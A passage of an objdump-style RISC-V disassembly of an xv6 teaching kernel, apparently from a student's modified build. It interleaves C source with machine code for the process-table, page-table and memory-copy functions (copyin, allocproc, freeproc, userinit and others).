s6,16(sp) 800016de: e45e sd s7,8(sp) 800016e0: e062 sd s8,0(sp) 800016e2: 0880 addi s0,sp,80 800016e4: 8b2a mv s6,a0 800016e6: 8a2e mv s4,a1 800016e8: 8c32 mv s8,a2 800016ea: 89b6 mv s3,a3 va0 = PGROUNDDOWN(srcva); 800016ec: 7bfd lui s7,0xfffff pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; n = PGSIZE - (srcva - va0); 800016ee: 6a85 lui s5,0x1 800016f0: a01d j 80001716 <copyin+0x4c> if(n > len) n = len; memmove(dst, (void *)(pa0 + (srcva - va0)), n); 800016f2: 018505b3 add a1,a0,s8 800016f6: 0004861b sext.w a2,s1 800016fa: 412585b3 sub a1,a1,s2 800016fe: 8552 mv a0,s4 80001700: fffff097 auipc ra,0xfffff 80001704: 61a080e7 jalr 1562(ra) # 80000d1a <memmove> len -= n; 80001708: 409989b3 sub s3,s3,s1 dst += n; 8000170c: 9a26 add s4,s4,s1 srcva = va0 + PGSIZE; 8000170e: 01590c33 add s8,s2,s5 while(len > 0){ 80001712: 02098263 beqz s3,80001736 <copyin+0x6c> va0 = PGROUNDDOWN(srcva); 80001716: 017c7933 and s2,s8,s7 pa0 = walkaddr(pagetable, va0); 8000171a: 85ca mv a1,s2 8000171c: 855a mv a0,s6 8000171e: 00000097 auipc ra,0x0 80001722: 92e080e7 jalr -1746(ra) # 8000104c <walkaddr> if(pa0 == 0) 80001726: cd01 beqz a0,8000173e <copyin+0x74> n = PGSIZE - (srcva - va0); 80001728: 418904b3 sub s1,s2,s8 8000172c: 94d6 add s1,s1,s5 if(n > len) 8000172e: fc99f2e3 bgeu s3,s1,800016f2 <copyin+0x28> 80001732: 84ce mv s1,s3 80001734: bf7d j 800016f2 <copyin+0x28> } return 0; 80001736: 4501 li a0,0 80001738: a021 j 80001740 <copyin+0x76> 8000173a: 4501 li a0,0 } 8000173c: 8082 ret return -1; 8000173e: 557d li a0,-1 } 80001740: 60a6 ld ra,72(sp) 80001742: 6406 ld s0,64(sp) 80001744: 74e2 ld s1,56(sp) 80001746: 7942 ld s2,48(sp) 80001748: 79a2 ld s3,40(sp) 8000174a: 7a02 ld s4,32(sp) 8000174c: 6ae2 ld s5,24(sp) 8000174e: 6b42 ld s6,16(sp) 80001750: 6ba2 ld s7,8(sp) 80001752: 6c02 ld s8,0(sp) 80001754: 6161 addi sp,sp,80 80001756: 8082 ret 0000000080001758 <copyinstr>: copyinstr(pagetable_t pagetable, char *dst, uint64 srcva, uint64 max) { uint64 n, va0, pa0; int got_null = 0; while(got_null == 0 && max > 0){ 80001758: c6c5 beqz a3,80001800 <copyinstr+0xa8> { 8000175a: 715d addi sp,sp,-80 8000175c: e486 sd ra,72(sp) 8000175e: e0a2 sd s0,64(sp) 80001760: fc26 sd s1,56(sp) 80001762: f84a sd s2,48(sp) 80001764: f44e sd s3,40(sp) 80001766: f052 sd s4,32(sp) 80001768: ec56 sd s5,24(sp) 8000176a: e85a sd s6,16(sp) 8000176c: e45e sd s7,8(sp) 8000176e: 0880 addi s0,sp,80 80001770: 8a2a mv s4,a0 80001772: 8b2e mv s6,a1 80001774: 8bb2 mv s7,a2 80001776: 84b6 mv s1,a3 va0 = PGROUNDDOWN(srcva); 80001778: 7afd lui s5,0xfffff pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; n = PGSIZE - (srcva - va0); 8000177a: 6985 lui s3,0x1 8000177c: a035 j 800017a8 <copyinstr+0x50> n = max; char *p = (char *) (pa0 + (srcva - va0)); while(n > 0){ if(*p == '\0'){ *dst = '\0'; 8000177e: 00078023 sb zero,0(a5) # 1000 <_entry-0x7ffff000> 80001782: 4785 li a5,1 dst++; } srcva = va0 + PGSIZE; } if(got_null){ 80001784: 0017b793 seqz a5,a5 80001788: 40f00533 neg a0,a5 return 0; } else { return -1; } } 8000178c: 60a6 ld ra,72(sp) 8000178e: 6406 ld s0,64(sp) 80001790: 74e2 ld s1,56(sp) 80001792: 7942 ld s2,48(sp) 80001794: 79a2 ld s3,40(sp) 80001796: 7a02 ld s4,32(sp) 80001798: 6ae2 ld s5,24(sp) 8000179a: 6b42 ld s6,16(sp) 8000179c: 6ba2 ld s7,8(sp) 8000179e: 6161 addi sp,sp,80 800017a0: 8082 ret srcva = va0 + PGSIZE; 800017a2: 01390bb3 add s7,s2,s3 while(got_null == 0 && max > 0){ 800017a6: c8a9 beqz s1,800017f8 <copyinstr+0xa0> va0 = PGROUNDDOWN(srcva); 800017a8: 015bf933 and s2,s7,s5 pa0 = walkaddr(pagetable, va0); 800017ac: 85ca mv a1,s2 800017ae: 8552 mv a0,s4 800017b0: 00000097 auipc ra,0x0 800017b4: 89c080e7 jalr -1892(ra) # 8000104c <walkaddr> if(pa0 == 0) 800017b8: c131 beqz a0,800017fc <copyinstr+0xa4> n = PGSIZE - (srcva - va0); 800017ba: 41790833 sub a6,s2,s7 800017be: 984e add a6,a6,s3 if(n > max) 800017c0: 0104f363 bgeu s1,a6,800017c6 <copyinstr+0x6e> 800017c4: 8826 mv a6,s1 char *p = (char *) (pa0 + (srcva - va0)); 800017c6: 955e add a0,a0,s7 800017c8: 41250533 sub a0,a0,s2 while(n > 0){ 800017cc: fc080be3 beqz a6,800017a2 <copyinstr+0x4a> 800017d0: 985a add a6,a6,s6 800017d2: 87da mv a5,s6 if(*p == '\0'){ 800017d4: 41650633 sub a2,a0,s6 800017d8: 14fd addi s1,s1,-1 800017da: 9b26 add s6,s6,s1 800017dc: 00f60733 add a4,a2,a5 800017e0: 00074703 lbu a4,0(a4) # fffffffffffff000 <end+0xffffffff7ffd9000> 800017e4: df49 beqz a4,8000177e <copyinstr+0x26> *dst = *p; 800017e6: 00e78023 sb a4,0(a5) --max; 800017ea: 40fb04b3 sub s1,s6,a5 dst++; 800017ee: 0785 addi a5,a5,1 while(n > 0){ 800017f0: ff0796e3 bne a5,a6,800017dc <copyinstr+0x84> dst++; 800017f4: 8b42 mv s6,a6 800017f6: b775 j 800017a2 <copyinstr+0x4a> 800017f8: 4781 li a5,0 800017fa: b769 j 80001784 <copyinstr+0x2c> return -1; 800017fc: 557d li a0,-1 800017fe: b779 j 8000178c <copyinstr+0x34> int got_null = 0; 80001800: 4781 li a5,0 if(got_null){ 80001802: 0017b793 seqz a5,a5 80001806: 40f00533 neg a0,a5 } 8000180a: 8082 ret 000000008000180c <proc_mapstacks>: // Allocate a page for each process's kernel stack. // Map it high in memory, followed by an invalid // guard page. void proc_mapstacks(pagetable_t kpgtbl) { 8000180c: 7139 addi sp,sp,-64 8000180e: fc06 sd ra,56(sp) 80001810: f822 sd s0,48(sp) 80001812: f426 sd s1,40(sp) 80001814: f04a sd s2,32(sp) 80001816: ec4e sd s3,24(sp) 80001818: e852 sd s4,16(sp) 8000181a: e456 sd s5,8(sp) 8000181c: e05a sd s6,0(sp) 8000181e: 0080 addi s0,sp,64 80001820: 89aa mv s3,a0 struct proc *p; for(p = proc; p < &proc[NPROC]; p++) { 80001822: 00010497 auipc s1,0x10 80001826: ec648493 addi s1,s1,-314 # 800116e8 <proc> char *pa = kalloc(); if(pa == 0) panic("kalloc"); uint64 va = KSTACK((int) (p - proc)); 8000182a: 8b26 mv s6,s1 8000182c: 00006a97 auipc s5,0x6 80001830: 7d4a8a93 addi s5,s5,2004 # 80008000 <etext> 80001834: 04000937 lui s2,0x4000 80001838: 197d addi s2,s2,-1 8000183a: 0932 slli s2,s2,0xc for(p = proc; p < &proc[NPROC]; p++) { 8000183c: 00016a17 auipc s4,0x16 80001840: 0aca0a13 addi s4,s4,172 # 800178e8 <tickslock> char *pa = kalloc(); 80001844: fffff097 auipc ra,0xfffff 80001848: 28e080e7 jalr 654(ra) # 80000ad2 <kalloc> 8000184c: 862a mv a2,a0 if(pa == 0) 8000184e: c131 beqz a0,80001892 <proc_mapstacks+0x86> uint64 va = KSTACK((int) (p - proc)); 80001850: 416485b3 sub a1,s1,s6 80001854: 858d srai a1,a1,0x3 80001856: 000ab783 ld a5,0(s5) 8000185a: 02f585b3 mul a1,a1,a5 8000185e: 2585 addiw a1,a1,1 80001860: 00d5959b slliw a1,a1,0xd kvmmap(kpgtbl, va, (uint64)pa, PGSIZE, PTE_R | PTE_W); 80001864: 4719 li a4,6 80001866: 6685 lui a3,0x1 80001868: 40b905b3 sub a1,s2,a1 8000186c: 854e mv a0,s3 8000186e: 00000097 auipc ra,0x0 80001872: 8ae080e7 jalr -1874(ra) # 8000111c <kvmmap> for(p = proc; p < &proc[NPROC]; p++) { 80001876: 18848493 addi s1,s1,392 8000187a: fd4495e3 bne s1,s4,80001844 <proc_mapstacks+0x38> } } 8000187e: 70e2 ld ra,56(sp) 80001880: 7442 ld s0,48(sp) 80001882: 74a2 ld s1,40(sp) 80001884: 7902 ld s2,32(sp) 80001886: 69e2 ld s3,24(sp) 80001888: 6a42 ld s4,16(sp) 8000188a: 6aa2 ld s5,8(sp) 8000188c: 6b02 ld s6,0(sp) 8000188e: 6121 addi sp,sp,64 80001890: 8082 ret panic("kalloc"); 80001892: 00007517 auipc a0,0x7 80001896: 92e50513 addi a0,a0,-1746 # 800081c0 <digits+0x180> 8000189a: fffff097 auipc ra,0xfffff 8000189e: c90080e7 jalr -880(ra) # 8000052a <panic> 00000000800018a2 <procinit>: // initialize the proc table at boot time. void procinit(void) { 800018a2: 7139 addi sp,sp,-64 800018a4: fc06 sd ra,56(sp) 800018a6: f822 sd s0,48(sp) 800018a8: f426 sd s1,40(sp) 800018aa: f04a sd s2,32(sp) 800018ac: ec4e sd s3,24(sp) 800018ae: e852 sd s4,16(sp) 800018b0: e456 sd s5,8(sp) 800018b2: e05a sd s6,0(sp) 800018b4: 0080 addi s0,sp,64 struct proc *p; initlock(&pid_lock, "nextpid"); 800018b6: 00007597 auipc a1,0x7 800018ba: 91258593 addi a1,a1,-1774 # 800081c8 <digits+0x188> 800018be: 00010517 auipc a0,0x10 800018c2: 9e250513 addi a0,a0,-1566 # 800112a0 <pid_lock> 800018c6: fffff097 auipc ra,0xfffff 800018ca: 26c080e7 jalr 620(ra) # 80000b32 <initlock> initlock(&wait_lock, "wait_lock"); 800018ce: 00007597 auipc a1,0x7 800018d2: 90258593 addi a1,a1,-1790 # 800081d0 <digits+0x190> 800018d6: 00010517 auipc a0,0x10 800018da: 9e250513 addi a0,a0,-1566 # 800112b8 <wait_lock> 800018de: fffff097 auipc ra,0xfffff 800018e2: 254080e7 jalr 596(ra) # 80000b32 <initlock> initlock(&queue_lock, "queue_counter"); // task 4 800018e6: 00007597 auipc a1,0x7 800018ea: 8fa58593 addi a1,a1,-1798 # 800081e0 <digits+0x1a0> 800018ee: 00010517 auipc a0,0x10 800018f2: 9e250513 addi a0,a0,-1566 # 800112d0 <queue_lock> 800018f6: fffff097 auipc ra,0xfffff 800018fa: 23c080e7 jalr 572(ra) # 80000b32 <initlock> for(p = proc; p < &proc[NPROC]; p++) { 800018fe: 00010497 auipc s1,0x10 80001902: dea48493 addi s1,s1,-534 # 800116e8 <proc> initlock(&p->lock, "proc"); 80001906: 00007b17 auipc s6,0x7 8000190a: 8eab0b13 addi s6,s6,-1814 # 800081f0 <digits+0x1b0> p->kstack = KSTACK((int) (p - proc)); 8000190e: 8aa6 mv s5,s1 80001910: 00006a17 auipc s4,0x6 80001914: 6f0a0a13 addi s4,s4,1776 # 80008000 <etext> 80001918: 04000937 lui s2,0x4000 8000191c: 197d addi s2,s2,-1 8000191e: 0932 slli s2,s2,0xc for(p = proc; p < &proc[NPROC]; p++) { 80001920: 00016997 auipc s3,0x16 80001924: fc898993 addi s3,s3,-56 # 800178e8 <tickslock> initlock(&p->lock, "proc"); 80001928: 85da mv a1,s6 8000192a: 8526 mv a0,s1 8000192c: fffff097 auipc ra,0xfffff 80001930: 206080e7 jalr 518(ra) # 80000b32 <initlock> p->kstack = KSTACK((int) (p - proc)); 80001934: 415487b3 sub a5,s1,s5 80001938: 878d srai a5,a5,0x3 8000193a: 000a3703 ld a4,0(s4) 8000193e: 02e787b3 mul a5,a5,a4 80001942: 2785 addiw a5,a5,1 80001944: 00d7979b slliw a5,a5,0xd 80001948: 40f907b3 sub a5,s2,a5 8000194c: f0bc sd a5,96(s1) for(p = proc; p < &proc[NPROC]; p++) { 8000194e: 18848493 addi s1,s1,392 80001952: fd349be3 bne s1,s3,80001928 <procinit+0x86> } } 80001956: 70e2 ld ra,56(sp) 80001958: 7442 ld s0,48(sp) 8000195a: 74a2 ld s1,40(sp) 8000195c: 7902 ld s2,32(sp) 8000195e: 69e2 ld s3,24(sp) 80001960: 6a42 ld s4,16(sp) 80001962: 6aa2 ld s5,8(sp) 80001964: 6b02 ld s6,0(sp) 80001966: 6121 addi sp,sp,64 80001968: 8082 ret 000000008000196a <cpuid>: // Must be called with interrupts disabled, // to prevent race with process being moved // to a different CPU. int cpuid() { 8000196a: 1141 addi sp,sp,-16 8000196c: e422 sd s0,8(sp) 8000196e: 0800 addi s0,sp,16 asm volatile("mv %0, tp" : "=r" (x) ); 80001970: 8512 mv a0,tp int id = r_tp(); return id; } 80001972: 2501 sext.w a0,a0 80001974: 6422 ld s0,8(sp) 80001976: 0141 addi sp,sp,16 80001978: 8082 ret 000000008000197a <mycpu>: // Return this CPU's cpu struct. // Interrupts must be disabled. struct cpu* mycpu(void) { 8000197a: 1141 addi sp,sp,-16 8000197c: e422 sd s0,8(sp) 8000197e: 0800 addi s0,sp,16 80001980: 8792 mv a5,tp int id = cpuid(); struct cpu *c = &cpus[id]; 80001982: 2781 sext.w a5,a5 80001984: 079e slli a5,a5,0x7 return c; } 80001986: 00010517 auipc a0,0x10 8000198a: 96250513 addi a0,a0,-1694 # 800112e8 <cpus> 8000198e: 953e add a0,a0,a5 80001990: 6422 ld s0,8(sp) 80001992: 0141 addi sp,sp,16 80001994: 8082 ret 0000000080001996 <myproc>: // Return the current struct proc *, or zero if none. struct proc* myproc(void) { 80001996: 1101 addi sp,sp,-32 80001998: ec06 sd ra,24(sp) 8000199a: e822 sd s0,16(sp) 8000199c: e426 sd s1,8(sp) 8000199e: 1000 addi s0,sp,32 push_off(); 800019a0: fffff097 auipc ra,0xfffff 800019a4: 1d6080e7 jalr 470(ra) # 80000b76 <push_off> 800019a8: 8792 mv a5,tp struct cpu *c = mycpu(); struct proc *p = c->proc; 800019aa: 2781 sext.w a5,a5 800019ac: 079e slli a5,a5,0x7 800019ae: 00010717 auipc a4,0x10 800019b2: 8f270713 addi a4,a4,-1806 # 800112a0 <pid_lock> 800019b6: 97ba add a5,a5,a4 800019b8: 67a4 ld s1,72(a5) pop_off(); 800019ba: fffff097 auipc ra,0xfffff 800019be: 25c080e7 jalr 604(ra) # 80000c16 <pop_off> return p; } 800019c2: 8526 mv a0,s1 800019c4: 60e2 ld ra,24(sp) 800019c6: 6442 ld s0,16(sp) 800019c8: 64a2 ld s1,8(sp) 800019ca: 6105 addi sp,sp,32 800019cc: 8082 ret 00000000800019ce <forkret>: // A fork child's very first scheduling by scheduler() // will swtch to forkret. void forkret(void) { 800019ce: 1141 addi sp,sp,-16 800019d0: e406 sd ra,8(sp) 800019d2: e022 sd s0,0(sp) 800019d4: 0800 addi s0,sp,16 static int first = 1; // Still holding p->lock from scheduler. release(&myproc()->lock); 800019d6: 00000097 auipc ra,0x0 800019da: fc0080e7 jalr -64(ra) # 80001996 <myproc> 800019de: fffff097 auipc ra,0xfffff 800019e2: 298080e7 jalr 664(ra) # 80000c76 <release> if (first) { 800019e6: 00007797 auipc a5,0x7 800019ea: 05a7a783 lw a5,90(a5) # 80008a40 <first.1> 800019ee: eb89 bnez a5,80001a00 <forkret+0x32> // be run from main(). first = 0; fsinit(ROOTDEV); } usertrapret(); 800019f0: 00001097 auipc ra,0x1 800019f4: 156080e7 jalr 342(ra) # 80002b46 <usertrapret> } 800019f8: 60a2 ld ra,8(sp) 800019fa: 6402 ld s0,0(sp) 800019fc: 0141 addi sp,sp,16 800019fe: 8082 ret first = 0; 80001a00: 00007797 auipc a5,0x7 80001a04: 0407a023 sw zero,64(a5) # 80008a40 <first.1> fsinit(ROOTDEV); 80001a08: 4505 li a0,1 80001a0a: 00002097 auipc ra,0x2 80001a0e: 032080e7 jalr 50(ra) # 80003a3c <fsinit> 80001a12: bff9 j 800019f0 <forkret+0x22> 0000000080001a14 <allocpid>: allocpid() { 80001a14: 1101 addi sp,sp,-32 80001a16: ec06 sd ra,24(sp) 80001a18: e822 sd s0,16(sp) 80001a1a: e426 sd s1,8(sp) 80001a1c: e04a sd s2,0(sp) 80001a1e: 1000 addi s0,sp,32 acquire(&pid_lock); 80001a20: 00010917 auipc s2,0x10 80001a24: 88090913 addi s2,s2,-1920 # 800112a0 <pid_lock> 80001a28: 854a mv a0,s2 80001a2a: fffff097 auipc ra,0xfffff 80001a2e: 198080e7 jalr 408(ra) # 80000bc2 <acquire> pid = nextpid; 80001a32: 00007797 auipc a5,0x7 80001a36: 01678793 addi a5,a5,22 # 80008a48 <nextpid> 80001a3a: 4384 lw s1,0(a5) nextpid = nextpid + 1; 80001a3c: 0014871b addiw a4,s1,1 80001a40: c398 sw a4,0(a5) release(&pid_lock); 80001a42: 854a mv a0,s2 80001a44: fffff097 auipc ra,0xfffff 80001a48: 232080e7 jalr 562(ra) # 80000c76 <release> } 80001a4c: 8526 mv a0,s1 80001a4e: 60e2 ld ra,24(sp) 80001a50: 6442 ld s0,16(sp) 80001a52: 64a2 ld s1,8(sp) 80001a54: 6902 ld s2,0(sp) 80001a56: 6105 addi sp,sp,32 80001a58: 8082 ret 0000000080001a5a <proc_pagetable>: { 80001a5a: 1101 addi sp,sp,-32 80001a5c: ec06 sd ra,24(sp) 80001a5e: e822 sd s0,16(sp) 80001a60: e426 sd s1,8(sp) 80001a62: e04a sd s2,0(sp) 80001a64: 1000 addi s0,sp,32 80001a66: 892a mv s2,a0 pagetable = uvmcreate(); 80001a68: 00000097 auipc ra,0x0 80001a6c: 89e080e7 jalr -1890(ra) # 80001306 <uvmcreate> 80001a70: 84aa mv s1,a0 if(pagetable == 0) 80001a72: c121 beqz a0,80001ab2 <proc_pagetable+0x58> if(mappages(pagetable, TRAMPOLINE, PGSIZE, 80001a74: 4729 li a4,10 80001a76: 00005697 auipc a3,0x5 80001a7a: 58a68693 addi a3,a3,1418 # 80007000 <_trampoline> 80001a7e: 6605 lui a2,0x1 80001a80: 040005b7 lui a1,0x4000 80001a84: 15fd addi a1,a1,-1 80001a86: 05b2 slli a1,a1,0xc 80001a88: fffff097 auipc ra,0xfffff 80001a8c: 606080e7 jalr 1542(ra) # 8000108e <mappages> 80001a90: 02054863 bltz a0,80001ac0 <proc_pagetable+0x66> if(mappages(pagetable, TRAPFRAME, PGSIZE, 80001a94: 4719 li a4,6 80001a96: 07893683 ld a3,120(s2) 80001a9a: 6605 lui a2,0x1 80001a9c: 020005b7 lui a1,0x2000 80001aa0: 15fd addi a1,a1,-1 80001aa2: 05b6 slli a1,a1,0xd 80001aa4: 8526 mv a0,s1 80001aa6: fffff097 auipc ra,0xfffff 80001aaa: 5e8080e7 jalr 1512(ra) # 8000108e <mappages> 80001aae: 02054163 bltz a0,80001ad0 <proc_pagetable+0x76> } 80001ab2: 8526 mv a0,s1 80001ab4: 60e2 ld ra,24(sp) 80001ab6: 6442 ld s0,16(sp) 80001ab8: 64a2 ld s1,8(sp) 80001aba: 6902 ld s2,0(sp) 80001abc: 6105 addi sp,sp,32 80001abe: 8082 ret uvmfree(pagetable, 0); 80001ac0: 4581 li a1,0 80001ac2: 8526 mv a0,s1 80001ac4: 00000097 auipc ra,0x0 80001ac8: a3e080e7 jalr -1474(ra) # 80001502 <uvmfree> return 0; 80001acc: 4481 li s1,0 80001ace: b7d5 j 80001ab2 <proc_pagetable+0x58> uvmunmap(pagetable, TRAMPOLINE, 1, 0); 80001ad0: 4681 li a3,0 80001ad2: 4605 li a2,1 80001ad4: 040005b7 lui a1,0x4000 80001ad8: 15fd addi a1,a1,-1 80001ada: 05b2 slli a1,a1,0xc 80001adc: 8526 mv a0,s1 80001ade: fffff097 auipc ra,0xfffff 80001ae2: 764080e7 jalr 1892(ra) # 80001242 <uvmunmap> uvmfree(pagetable, 0); 80001ae6: 4581 li a1,0 80001ae8: 8526 mv a0,s1 80001aea: 00000097 auipc ra,0x0 80001aee: a18080e7 jalr -1512(ra) # 80001502 <uvmfree> return 0; 80001af2: 4481 li s1,0 80001af4: bf7d j 80001ab2 <proc_pagetable+0x58> 0000000080001af6 <proc_freepagetable>: { 80001af6: 1101 addi sp,sp,-32 80001af8: ec06 sd ra,24(sp) 80001afa: e822 sd s0,16(sp) 80001afc: e426 sd s1,8(sp) 80001afe: e04a sd s2,0(sp) 80001b00: 1000 addi s0,sp,32 80001b02: 84aa mv s1,a0 80001b04: 892e mv s2,a1 uvmunmap(pagetable, TRAMPOLINE, 1, 0); 80001b06: 4681 li a3,0 80001b08: 4605 li a2,1 80001b0a: 040005b7 lui a1,0x4000 80001b0e: 15fd addi a1,a1,-1 80001b10: 05b2 slli a1,a1,0xc 80001b12: fffff097 auipc ra,0xfffff 80001b16: 730080e7 jalr 1840(ra) # 80001242 <uvmunmap> uvmunmap(pagetable, TRAPFRAME, 1, 0); 80001b1a: 4681 li a3,0 80001b1c: 4605 li a2,1 80001b1e: 020005b7 lui a1,0x2000 80001b22: 15fd addi a1,a1,-1 80001b24: 05b6 slli a1,a1,0xd 80001b26: 8526 mv a0,s1 80001b28: fffff097 auipc ra,0xfffff 80001b2c: 71a080e7 jalr 1818(ra) # 80001242 <uvmunmap> uvmfree(pagetable, sz); 80001b30: 85ca mv a1,s2 80001b32: 8526 mv a0,s1 80001b34: 00000097 auipc ra,0x0 80001b38: 9ce080e7 jalr -1586(ra) # 80001502 <uvmfree> } 80001b3c: 60e2 ld ra,24(sp) 80001b3e: 6442 ld s0,16(sp) 80001b40: 64a2 ld s1,8(sp) 80001b42: 6902 ld s2,0(sp) 80001b44: 6105 addi sp,sp,32 80001b46: 8082 ret 0000000080001b48 <freeproc>: { 80001b48: 1101 addi sp,sp,-32 80001b4a: ec06 sd ra,24(sp) 80001b4c: e822 sd s0,16(sp) 80001b4e: e426 sd s1,8(sp) 80001b50: 1000 addi s0,sp,32 80001b52: 84aa mv s1,a0 if(p->trapframe) 80001b54: 7d28 ld a0,120(a0) 80001b56: c509 beqz a0,80001b60 <freeproc+0x18> kfree((void*)p->trapframe); 80001b58: fffff097 auipc ra,0xfffff 80001b5c: e7e080e7 jalr -386(ra) # 800009d6 <kfree> p->trapframe = 0; 80001b60: 0604bc23 sd zero,120(s1) if(p->pagetable) 80001b64: 78a8 ld a0,112(s1) 80001b66: c511 beqz a0,80001b72 <freeproc+0x2a> proc_freepagetable(p->pagetable, p->sz); 80001b68: 74ac ld a1,104(s1) 80001b6a: 00000097 auipc ra,0x0 80001b6e: f8c080e7 jalr -116(ra) # 80001af6 <proc_freepagetable> p->pagetable = 0; 80001b72: 0604b823 sd zero,112(s1) p->sz = 0; 80001b76: 0604b423 sd zero,104(s1) p->pid = 0; 80001b7a: 0204a823 sw zero,48(s1) p->parent = 0; 80001b7e: 0404bc23 sd zero,88(s1) p->name[0] = 0; 80001b82: 16048c23 sb zero,376(s1) p->chan = 0; 80001b86: 0204b023 sd zero,32(s1) p->killed = 0; 80001b8a: 0204a423 sw zero,40(s1) p->xstate = 0; 80001b8e: 0204a623 sw zero,44(s1) p->state = UNUSED; 80001b92: 0004ac23 sw zero,24(s1) p->maskid = 0; //modified 80001b96: 0204aa23 sw zero,52(s1) } 80001b9a: 60e2 ld ra,24(sp) 80001b9c: 6442 ld s0,16(sp) 80001b9e: 64a2 ld s1,8(sp) 80001ba0: 6105 addi sp,sp,32 80001ba2: 8082 ret 0000000080001ba4 <allocproc>: { 80001ba4: 1101 addi sp,sp,-32 80001ba6: ec06 sd ra,24(sp) 80001ba8: e822 sd s0,16(sp) 80001baa: e426 sd s1,8(sp) 80001bac: e04a sd s2,0(sp) 80001bae: 1000 addi s0,sp,32 for(p = proc; p < &proc[NPROC]; p++) { 80001bb0: 00010497 auipc s1,0x10 80001bb4: b3848493 addi s1,s1,-1224 # 800116e8 <proc> 80001bb8: 00016917 auipc s2,0x16 80001bbc: d3090913 addi s2,s2,-720 # 800178e8 <tickslock> acquire(&p->lock); 80001bc0: 8526 mv a0,s1 80001bc2: fffff097 auipc ra,0xfffff 80001bc6: 000080e7 jalr ra # 80000bc2 <acquire> if(p->state == UNUSED) { 80001bca: 4c9c lw a5,24(s1) 80001bcc: cf81 beqz a5,80001be4 <allocproc+0x40> release(&p->lock); 80001bce: 8526 mv a0,s1 80001bd0: fffff097 auipc ra,0xfffff 80001bd4: 0a6080e7 jalr 166(ra) # 80000c76 <release> for(p = proc; p < &proc[NPROC]; p++) { 80001bd8: 18848493 addi s1,s1,392 80001bdc: ff2492e3 bne s1,s2,80001bc0 <allocproc+0x1c> return 0; 80001be0: 4481 li s1,0 80001be2: a88d j 80001c54 <allocproc+0xb0> p->pid = allocpid(); 80001be4: 00000097 auipc ra,0x0 80001be8: e30080e7 jalr -464(ra) # 80001a14 <allocpid> 80001bec: d888 sw a0,48(s1) p->state = USED; 80001bee: 4785 li a5,1 80001bf0: cc9c sw a5,24(s1) p->ctime = ticks; 80001bf2: 00007797 auipc a5,0x7 80001bf6: 43e7a783 lw a5,1086(a5) # 80009030 <ticks> 80001bfa: dc9c sw a5,56(s1) p->stime =0; 80001bfc: 0404a023 sw zero,64(s1) p->retime =0; 80001c00: 0404a223 sw zero,68(s1) p->rutime=0; 80001c04: 0404a423 sw zero,72(s1) p->ttime = 0; 80001c08: 0204ae23 sw zero,60(s1) p->average_bursttime = QUANTUM*100; 80001c0c: 1f400793 li a5,500 80001c10: c4fc sw a5,76(s1) if((p->trapframe = (struct trapframe *)kalloc()) == 0){ 80001c12: fffff097 auipc ra,0xfffff 80001c16: ec0080e7 jalr -320(ra) # 80000ad2 <kalloc> 80001c1a: 892a mv s2,a0 80001c1c: fca8 sd a0,120(s1) 80001c1e: c131 beqz a0,80001c62 <allocproc+0xbe> p->pagetable = proc_pagetable(p); 80001c20: 8526 mv a0,s1 80001c22: 00000097 auipc ra,0x0 80001c26: e38080e7 jalr -456(ra) # 80001a5a <proc_pagetable> 80001c2a: 892a mv s2,a0 80001c2c: f8a8 sd a0,112(s1) if(p->pagetable == 0){ 80001c2e: c531 beqz a0,80001c7a <allocproc+0xd6> memset(&p->context, 0, sizeof(p->context)); 80001c30: 07000613 li a2,112 80001c34: 4581 li a1,0 80001c36: 08048513 addi a0,s1,128 80001c3a: fffff097 auipc ra,0xfffff 80001c3e: 084080e7 jalr 132(ra) # 80000cbe <memset> p->context.ra = (uint64)forkret; 80001c42: 00000797 auipc a5,0x0 80001c46: d8c78793 addi a5,a5,-628 # 800019ce <forkret> 80001c4a: e0dc sd a5,128(s1) p->context.sp = p->kstack + PGSIZE; 80001c4c: 70bc ld a5,96(s1) 80001c4e: 6705 lui a4,0x1 80001c50: 97ba add a5,a5,a4 80001c52: e4dc sd a5,136(s1) } 80001c54: 8526 mv a0,s1 80001c56: 60e2 ld ra,24(sp) 80001c58: 6442 ld s0,16(sp) 80001c5a: 64a2 ld s1,8(sp) 80001c5c: 6902 ld s2,0(sp) 80001c5e: 6105 addi sp,sp,32 80001c60: 8082 ret freeproc(p); 80001c62: 8526 mv a0,s1 80001c64: 00000097 auipc ra,0x0 80001c68: ee4080e7 jalr -284(ra) # 80001b48 <freeproc> release(&p->lock); 80001c6c: 8526 mv a0,s1 80001c6e: fffff097 auipc ra,0xfffff 80001c72: 008080e7 jalr 8(ra) # 80000c76 <release> return 0; 80001c76: 84ca mv s1,s2 80001c78: bff1 j 80001c54 <allocproc+0xb0> freeproc(p); 80001c7a: 8526 mv a0,s1 80001c7c: 00000097 auipc ra,0x0 80001c80: ecc080e7 jalr -308(ra) # 80001b48 <freeproc> release(&p->lock); 80001c84: 8526 mv a0,s1 80001c86: fffff097 auipc ra,0xfffff 80001c8a: ff0080e7 jalr -16(ra) # 80000c76 <release> return 0; 80001c8e: 84ca mv s1,s2 80001c90: b7d1 j 80001c54 <allocproc+0xb0> 0000000080001c92 <userinit>: { 80001c92: 1101 addi sp,sp,-32 80001c94: ec06 sd ra,24(sp) 80001c96: e822 sd s0,16(sp) 80001c98: e426 sd s1,8(sp) 80001c9a: e04a sd s2,0(sp) 80001c9c: 1000 addi s0,sp,32 p = allocproc(); 80001c9e: 00000097 auipc ra,0x0 80001ca2: f06080e7 jalr -250(ra) # 80001ba4 <allocproc> 80001ca6: 84aa mv s1,a0 initproc = p; 80001ca8: 00007797 auipc a5,0x7 80001cac: 38a7b023 sd a0,896(a5) # 80009028 <initproc> uvminit(p->pagetable, initcode, sizeof(initcode)); 80001cb0: 03400613 li a2,52 80001cb4: 00007597 auipc a1,0x7 80001cb8: d9c58593 addi a1,a1,-612 # 80008a50 <initcode> 80001cbc: 7928 ld a0,112(a0) 80001cbe: fffff097 auipc ra,0xfffff 80001cc2: 676080e7 jalr 1654(ra) # 80001334 <uvminit> p->sz = PGSIZE; 80001cc6: 6785 lui a5,0x1 80001cc8: f4bc sd a5,104(s1) p->trapframe->epc = 0; // user program counter 80001cca: 7cb8 ld a4,120(s1) 80001ccc: 00073c23 sd zero,24(a4) # 1018 <_entry-0x7fffefe8> p->trapframe->sp = PGSIZE; // user stack pointer 80001cd0: 7cb8 ld a4,120(s1) 80001cd2: fb1c sd a5,48(a4) safestrcpy(p->name, "initcode", sizeof(p->name)); 80001cd4: 4641 li a2,16 80001cd6: 00006597 auipc a1,0x6 80001cda: 52258593 addi a1,a1,1314 # 800081f8 <digits+0x1b8> 80001cde: 17848513 addi a0,s1,376 80001ce2: fffff097 